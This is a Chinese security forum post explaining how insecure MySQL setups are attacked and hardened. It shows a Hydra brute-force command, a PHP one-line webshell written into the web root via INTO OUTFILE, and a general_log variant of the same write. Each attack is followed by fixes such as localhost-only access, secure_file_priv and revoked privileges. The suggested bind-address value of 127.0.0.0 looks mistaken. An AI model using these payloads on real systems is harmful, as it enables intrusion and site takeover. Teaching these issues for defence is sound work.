安全矩阵

 找回密码
 立即注册
搜索
查看: 526|回复: 0

安全攻防之MySql安全问题及修复方式

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-12-31 12:56:17 | 显示全部楼层 |阅读模式
原文链接:安全攻防之MySql安全问题及修复方式


Mysql是目前较为流行的关系型数据库管理系统,由于其体积小、速度快、维护成本较低。一般中小型网站的开发使用Mysql作为网站数据库较多。但是Mysql的不安全配置,也会带来很多的安全隐患,如:Mysql弱口令、数据库写webshell、UDF提权等。在本节将给读者介绍几种常见的Mysql不安全配置导致的安全问题,并针对该问题提供了常用的修复和加固方式。

1
Mysql数据库口令猜解

Mysql数据库在允许远程连接的情况下,攻击者可以利用弱口令检查工具,如:Hydra等,对Mysql数据库进行弱口令暴力破解攻击,如图所示为通过Hydra远程暴力破解数据库口令,猜解出口令为root/root。
  1. <code class="hljs">>>> sudo hydra -l root -P password.txt mysql://192.168.5.160 -I</code>
复制代码


编辑
为防止攻击者远程暴力破解Mysql数据库口令,对于站库分离的网站类型,可以通过设置白名单的方式,禁止数据库被公开访问,如不是站库分离的网站类型,可以关闭Mysql远程连接方式,只允许本地localhost连接管理数据库,利用该方式可以有效防止攻击者Mysql远程暴力破解攻击。
通过执行如下命令语句查询Mysql允许远程主机连接数据库情况,如果host字段为”%”表示该数据库允许远程主机连接,可以通过修改host字段为localhost表示只允许本地主机连接到Mysql数据库。如图所示,更改 Mysql只允许本地主机连接。
  1. <code>mysql> use mysql;</code><code>
  2. mysql> select host, user from user;</code><code>
  3. mysql> update user set host='localhost' where user='root';
  4. </code><code>mysql> select host, user from user;</code>
复制代码


编辑
可以通过更改配置文件mysql/mysql.conf.d/mysqld.cnf或mysql/my.cnf配置文件。修改“bind-address”字段的值为127.0.0.0。这样可以使得远程主机探测不到mysql数据库开放的tcp端口。
编辑
修改Mysql数据库用户的登录口令的复杂度,通常要求密码长度在8-16位,字母大小写、数字、特殊字符的组合。不同的Mysql版本更改方式不同,此处列举了Mysql5和Mysql8两个版本的实例,如下所示:
对于Mysql8版本,可以通过执行以下指令修改root的登录口令。其中的‘%’根据查询的mysql数据库中的host字段的值确定。
  1. <code>>>> sudo mysql -u root -p
  2. </code><code>MySQL > use mysql;</code><code>
  3. MySQL >ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'AnyWhereis5@0';</code>
复制代码


对于Mysql 5版本,可以通过执行以下指令修改root的登录口令。
  1. <code>>>> sudo mysql -u root -p
  2. </code><code>MySQL > use mysql;</code><code>
  3. MySQL >update user set authentication_string=password("AnyWhereis5@0") where user='root';</code>
复制代码


当攻击者成功猜解到数据库登录口令或者目标网站存在sql注入时,除了能够获取到数据库存储的敏感数据以外,如果Mysql具备可以在网站目录写权限的情况下,在向目标网站写入一句话木马文件,通过蚁剑工具远程连接后获取到目标网站的webshell,操作过程如图所示。
2
数据库写webshell

  1. <code class="hljs">>>> select '<?php @eval($_POST[passwd]);?>' into outfile '/var/www/html/shell.php';</code>
复制代码


编辑
如果目标网站设置了secure_file_priv参数,限制了Mysql文件写入功能。攻击者也可以修改MySQL的log日志文件写入一句话木马文件,最后通过蚁剑工具远程连接后获取到目标网站的webshell,操作过程如图所示。
  1. <code>MySQL > show variables like '%general%';
  2. </code><code>MySQL > set global general_log = on;</code><code>
  3. MySQL> select '<?php @eval($_POST[passwd]);?>';</code><code>
  4. MySQL> set global general_log=off;</code>
复制代码


编辑
为防止攻击者通过Mysql向网站写入一句话木马,可以通过修改mysql/mysql.conf.d/mysqld.cnf或mysql/my.cnf配置文件,将secure_file_priv参数设置“NULL“或者指定特定目录路径,这样可以禁用或者限制Mysql的导入与导出功能。
为防止攻击者通过修改Mysql日志文件的方式向网站写入一句话木马,可以通过禁用root用户远程连接的方式,使用降权后的普通用户权限连接,
  1. <code class="hljs">mysql> revoke ALL on *.* from admin@'%';</code>
复制代码


编辑


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 00:01 , Processed in 0.015062 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表